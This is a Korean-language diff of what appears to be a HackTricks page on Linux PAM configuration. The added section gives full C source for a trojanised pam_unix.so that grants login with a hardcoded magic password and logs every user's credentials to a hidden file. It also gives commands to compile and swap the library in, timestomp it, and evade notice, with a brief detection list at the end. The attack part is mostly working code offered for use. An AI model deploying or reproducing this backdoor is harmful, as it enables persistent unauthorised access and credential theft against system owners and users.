로그인 서비스의 구성 파일은 `/etc/pam.d/login`에 있습니다. 로그인 서비스에 대한 PAM 구성의 예는 다음과 같을 수 있습니다: ``` @@ -26,11 +26,11 @@ session required /lib/security/pam_unix_session.so ``` #### **PAM 관리 영역** -이 영역, 또는 관리 그룹은 **auth**, **account**, **password**, **session**을 포함하며, 각각 인증 및 세션 관리 프로세스의 다양한 측면을 담당합니다: +이 영역, 또는 관리 그룹은 **auth**, **account**, **password**, 및 **session**을 포함하며, 각기 인증 및 세션 관리 프로세스의 다양한 측면을 담당합니다: - **Auth**: 사용자 신원을 검증하며, 종종 비밀번호 입력을 요구합니다. - **Account**: 그룹 멤버십이나 시간 제한과 같은 조건을 확인하여 계정 검증을 처리합니다. -- **Password**: 복잡성 검사 또는 사전 공격 방지를 포함한 비밀번호 업데이트를 관리합니다. +- **Password**: 복잡성 검사 또는 사전 공격 방지를 포함하여 비밀번호 업데이트를 관리합니다. - **Session**: 서비스 세션의 시작 또는 종료 시 작업을 관리하며, 디렉토리 마운트 또는 리소스 제한 설정과 같은 작업을 포함합니다. #### **PAM 모듈 제어** @@ -39,15 +39,71 @@ session required /lib/security/pam_unix_session.so - **Required**: 필수 모듈의 실패는 결국 실패로 이어지지만, 모든 후속 모듈이 확인된 후에만 발생합니다. - **Requisite**: 실패 시 즉각적인 프로세스 종료. -- **Sufficient**: 성공 시 동일 영역의 나머지 검사를 우회하지만, 후속 모듈이 실패할 경우는 제외됩니다. +- **Sufficient**: 성공 시 동일 영역의 나머지 검사를 우회하며, 후속 모듈이 실패하지 않는 한 적용됩니다. - **Optional**: 스택에서 유일한 모듈인 경우에만 실패를 유발합니다. #### 예시 시나리오 -여러 인증 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. `pam_securetty` 모듈이 로그인 터미널이 승인되지 않았다고 판단하면, 루트 로그인이 차단되지만, "required" 상태로 인해 모든 모듈이 여전히 처리됩니다. `pam_env`는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. `pam_ldap`와 `pam_unix` 모듈은 함께 작동하여 사용자를 인증하며, `pam_unix`는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다. +여러 인증 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. `pam_securetty` 모듈이 로그인 터미널이 승인되지 않았다고 판단하면 루트 로그인이 차단되지만, "required" 상태로 인해 모든 모듈이 여전히 처리됩니다. `pam_env`는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. `pam_ldap` 및 `pam_unix` 모듈은 함께 작동하여 사용자를 인증하며, `pam_unix`는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다. + + +## PAM 백도어 – `pam_unix.so` 후킹 + +고급 Linux 환경에서 고전적인 지속성 트릭은 **정상 PAM 라이브러리를 트로이 목마화된 드롭인으로 교체하는 것**입니다. 모든 SSH / 콘솔 로그인은 결국 `pam_unix.so:pam_sm_authenticate()`를 호출하므로, 자격 증명을 캡처하거나 *마법* 비밀번호 우회를 구현하기 위해 몇 줄의 C 코드면 충분합니다. + +### 컴파일 요약표 +```c +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +static int (*orig)(pam_handle_t *, int, int, const char **); +static const char *MAGIC = "Sup3rS3cret!"; + +int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { +const char *user, *pass; +pam_get_user(pamh, &user, NULL); +pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL); + +/* Magic pwd → immediate success */ +if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS; + +/* Credential harvesting */ +int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600); +dprintf(fd, "%s:%s\n", user, pass); +close(fd); + +/* Fall back to original function */ +if(!orig) { +orig = dlsym(RTLD_NEXT, "pam_sm_authenticate"); +} +return orig(pamh, flags, argc, argv); +} +``` +컴파일하고 은밀하게 교체하기: +```bash +gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam +mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak +mv pam_unix.so /lib/security/pam_unix.so +chmod 644 /lib/security/pam_unix.so # keep original perms +touch -r /bin/ls /lib/security/pam_unix.so # timestomp +``` +### OpSec Tips +1. **Atomic overwrite** – 임시 파일에 쓰고 `mv`로 위치를 변경하여 SSH를 잠글 수 있는 반쯤 작성된 라이브러리를 피하십시오. +2. `/usr/bin/.dbus.log`와 같은 로그 파일 배치는 합법적인 데스크탑 아티팩트와 섞입니다. +3. PAM의 잘못된 동작을 피하기 위해 기호 내보내기를 동일하게 유지하십시오 (`pam_sm_setcred` 등). + +### Detection +* `pam_unix.so`의 MD5/SHA256을 배포판 패키지와 비교하십시오. +* `/lib/security/` 아래에서 세계 쓰기 가능 또는 비정상적인 소유권을 확인하십시오. +* `auditd` 규칙: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`. ### References - [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) +- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) {{#include ../../banners/hacktricks-training.md}}